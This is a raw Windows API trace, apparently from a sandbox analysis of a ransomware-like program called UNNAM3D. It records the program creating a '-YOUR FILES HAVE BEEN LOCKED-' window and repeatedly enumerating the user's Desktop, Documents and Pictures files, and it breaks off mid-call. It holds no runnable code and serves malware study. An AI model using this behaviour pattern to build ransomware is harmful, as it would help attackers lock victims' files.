GetWindowRect (in: hWnd=0x401b2, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.523] GetParent (hWnd=0x401b2) returned 0x40130 [0040.523] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.523] SendMessageW (hWnd=0x401b2, Msg=0x2210, wParam=0x1b20001, lParam=0x401b2) returned 0x0 [0040.523] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x2210, wParam=0x1b20001, lParam=0x401b2) returned 0x0 [0040.523] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.523] GetParent (hWnd=0x401b2) returned 0x40130 [0040.523] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.523] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.523] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.523] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="What Happend?", dwStyle=0x5600000d, X=13, Y=74, nWidth=160, nHeight=24, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x701ae [0040.523] SetWindowLongW (hWnd=0x701ae, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.523] GetWindowLongW (hWnd=0x701ae, nIndex=-4) returned 1961605321 [0040.523] SetWindowLongW (hWnd=0x701ae, nIndex=-4, dwNewLong=84720670) returned 1961605321 [0040.523] GetWindowLongW (hWnd=0x701ae, nIndex=-4) returned 84720670 [0040.523] GetWindowLongW (hWnd=0x701ae, nIndex=-16) returned 1174405133 [0040.524] GetWindowLongW (hWnd=0x701ae, nIndex=-12) returned 0 [0040.524] SetWindowLongW (hWnd=0x701ae, nIndex=-12, dwNewLong=459182) returned 0 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.524] GetWindow (hWnd=0x701ae, uCmd=0x3) returned 0x401b2 [0040.524] GetClientRect (in: hWnd=0x701ae, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.524] GetWindowRect (in: hWnd=0x701ae, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.524] GetParent (hWnd=0x701ae) returned 0x40130 [0040.524] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.524] SetWindowTextW (hWnd=0x701ae, lpString="What Happend?") returned 1 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0xc, wParam=0x0, lParam=0x2a39c7c) returned 0x1 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x5, wParam=0x0, lParam=0x1800a0) returned 0x0 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x3, wParam=0x0, lParam=0x4a000d) returned 0x0 [0040.524] GetClientRect (in: hWnd=0x701ae, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.524] GetWindowRect (in: hWnd=0x701ae, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.524] GetParent (hWnd=0x701ae) returned 0x40130 [0040.524] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.524] SendMessageW (hWnd=0x701ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x701ae) returned 0x0 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x2210, wParam=0x1ae0001, lParam=0x701ae) returned 0x0 [0040.524] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x701ae, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.524] GetParent (hWnd=0x701ae) returned 0x40130 [0040.524] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.524] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.525] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.525] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="-YOUR FILES HAVE BEEN LOCKED-", dwStyle=0x5600000d, X=12, Y=22, nWidth=398, nHeight=25, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x70024 [0040.525] SetWindowLongW (hWnd=0x70024, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.525] GetWindowLongW (hWnd=0x70024, nIndex=-4) returned 1961605321 [0040.525] SetWindowLongW (hWnd=0x70024, nIndex=-4, dwNewLong=84720710) returned 1961605321 [0040.525] GetWindowLongW (hWnd=0x70024, nIndex=-4) returned 84720710 [0040.525] GetWindowLongW (hWnd=0x70024, nIndex=-16) returned 1174405133 [0040.525] GetWindowLongW (hWnd=0x70024, nIndex=-12) returned 0 [0040.525] SetWindowLongW (hWnd=0x70024, nIndex=-12, dwNewLong=458788) returned 0 [0040.525] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.525] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.525] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.525] GetWindow (hWnd=0x70024, uCmd=0x3) returned 0x701ae [0040.525] GetClientRect (in: hWnd=0x70024, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.525] GetWindowRect (in: hWnd=0x70024, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.525] GetParent (hWnd=0x70024) returned 0x40130 [0040.525] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.525] SetWindowTextW (hWnd=0x70024, lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 1 [0040.525] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0xc, wParam=0x0, lParam=0x2a354fc) returned 0x1 [0040.526] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x5, wParam=0x0, lParam=0x19018e) returned 0x0 [0040.526] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x3, wParam=0x0, lParam=0x16000c) returned 0x0 [0040.526] GetClientRect (in: hWnd=0x70024, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.526] GetWindowRect (in: hWnd=0x70024, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.526] GetParent (hWnd=0x70024) returned 0x40130 [0040.526] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.526] SendMessageW (hWnd=0x70024, Msg=0x2210, wParam=0x240001, lParam=0x70024) returned 0x0 [0040.526] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x2210, wParam=0x240001, lParam=0x70024) returned 0x0 [0040.526] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x70024, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.526] GetParent (hWnd=0x70024) returned 0x40130 [0040.526] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.526] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.526] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.526] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=344, Y=322, nWidth=177, nHeight=132, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x401bc [0040.526] SetWindowLongW (hWnd=0x401bc, nIndex=-4, dwNewLong=2011243997) returned 84674742 [0040.526] GetWindowLongW (hWnd=0x401bc, nIndex=-4) returned 2011243997 [0040.526] SetWindowLongW (hWnd=0x401bc, nIndex=-4, dwNewLong=84720750) returned 2011243997 [0040.526] GetWindowLongW (hWnd=0x401bc, nIndex=-4) returned 84720750 [0040.526] GetWindowLongW (hWnd=0x401bc, nIndex=-16) returned 1174405120 [0040.526] GetWindowLongW (hWnd=0x401bc, nIndex=-12) returned 0 [0040.526] SetWindowLongW (hWnd=0x401bc, nIndex=-12, dwNewLong=262588) returned 0 [0040.526] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.527] GetWindow (hWnd=0x401bc, uCmd=0x3) returned 0x70024 [0040.527] GetClientRect (in: hWnd=0x401bc, lpRect=0x32e630 | out: lpRect=0x32e630) returned 1 [0040.527] GetWindowRect (in: hWnd=0x401bc, lpRect=0x32e630 | out: lpRect=0x32e630) returned 1 [0040.527] GetParent (hWnd=0x401bc) returned 0x40130 [0040.527] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e630, cPoints=0x2 | out: lpPoints=0x32e630) returned -14025190 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x5, wParam=0x0, lParam=0x8400b1) returned 0x0 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x3, wParam=0x0, lParam=0x1420158) returned 0x0 [0040.527] GetClientRect (in: hWnd=0x401bc, lpRect=0x32e688 | out: lpRect=0x32e688) returned 1 [0040.527] GetWindowRect (in: hWnd=0x401bc, lpRect=0x32e688 | out: lpRect=0x32e688) returned 1 [0040.527] GetParent (hWnd=0x401bc) returned 0x40130 [0040.527] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e688, cPoints=0x2 | out: lpPoints=0x32e688) returned -14025190 [0040.527] SendMessageW (hWnd=0x401bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x401bc) returned 0x0 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x2210, wParam=0x1bc0001, lParam=0x401bc) returned 0x0 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x401bc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.527] GetParent (hWnd=0x401bc) returned 0x40130 [0040.527] GetWindowTextLengthW (hWnd=0x40130) returned 7 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0040.527] GetSystemMetrics (nIndex=42) returned 0 [0040.527] GetWindowTextW (in: hWnd=0x40130, lpString=0x32eddc, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0040.527] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0xd, wParam=0x8, lParam=0x32eddc) returned 0x7 [0040.612] GetProcessHeap () returned 0x3d0000 [0040.612] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4732f0 | out: hHeap=0x3d0000) returned 1 [0040.612] GetProcessHeap () returned 0x3d0000 [0040.612] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x456890 | out: hHeap=0x3d0000) returned 1 [0040.613] CoTaskMemAlloc (cb=0x20c) returned 0x473980 [0040.613] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x473980 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0040.613] CoTaskMemFree (pv=0x473980) [0040.613] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x32e648, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0040.614] CoTaskMemAlloc (cb=0x20c) returned 0x473980 [0040.615] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x473980 | out: pszPath="C:\\Users\\WhuOXYsD\\Documents") returned 0x0 [0040.616] CoTaskMemFree (pv=0x473980) [0040.616] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0x32e5a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0040.616] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0040.617] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", nBufferLength=0x105, lpBuffer=0x32e5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", lpFilePart=0x0) returned 0x30 [0040.617] CoTaskMemAlloc (cb=0x20c) returned 0x473980 [0040.617] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x473980 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0040.617] CoTaskMemFree (pv=0x473980) [0040.617] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x32e648, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0040.617] CoTaskMemAlloc (cb=0x20c) returned 0x473980 [0040.617] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x473980 | out: pszPath="C:\\Users\\WhuOXYsD\\Pictures") returned 0x0 [0040.618] CoTaskMemFree (pv=0x473980) [0040.618] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0x32e5a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0040.618] CoTaskMemAlloc (cb=0x20c) returned 0x473980 [0040.618] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x473980 | out: pszPath="C:\\Users\\WhuOXYsD\\Desktop") returned 0x0 [0040.619] CoTaskMemFree (pv=0x473980) [0040.619] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x32e5a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0040.619] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x32e634, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0040.620] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0040.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32eae0) returned 1 [0040.669] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x32e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0040.670] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x32e5bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0040.670] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x32e808 | out: lpFindFileData=0x32e808) returned 0x414bf0 [0040.670] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.671] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.672] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.673] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 0 [0040.673] FindClose (in: hFindFile=0x414bf0 | out: hFindFile=0x414bf0) returned 1 [0040.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaa0) returned 1 [0040.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaac) returned 1 [0040.673] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e174, nSize=0x64 | out: lpBuffer="") returned 0x0 [0040.674] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Pictures", nBufferLength=0x105, lpBuffer=0x32e634, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures", lpFilePart=0x0) returned 0x1a [0040.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32eae0) returned 1 [0040.674] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x32e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0040.674] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x32e5bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0040.674] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x32e808 | out: lpFindFileData=0x32e808) returned 0x414bf0 [0040.674] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.674] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.674] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.675] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.676] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 0 [0040.676] FindClose (in: hFindFile=0x414bf0 | out: hFindFile=0x414bf0) returned 1 [0040.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaa0) returned 1 [0040.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32eaac) returned 1 [0040.677] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x105, lpBuffer=0x32e634, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x0) returned 0x1b [0040.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32eae0) returned 1 [0040.677] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x105, lpBuffer=0x32e5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x0) returned 0x19 [0040.677] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\", nBufferLength=0x105, lpBuffer=0x32e5bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\", lpFilePart=0x0) returned 0x1a [0040.677] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\*", lpFindFileData=0x32e808 | out: lpFindFileData=0x32e808) returned 0x414bf0 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.677] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: hFindFile=0x414bf0, lpFindFileData=0x32e818 | out: lpFindFileData=0x32e818) returned 1 [0040.678] FindNextFileW (in: 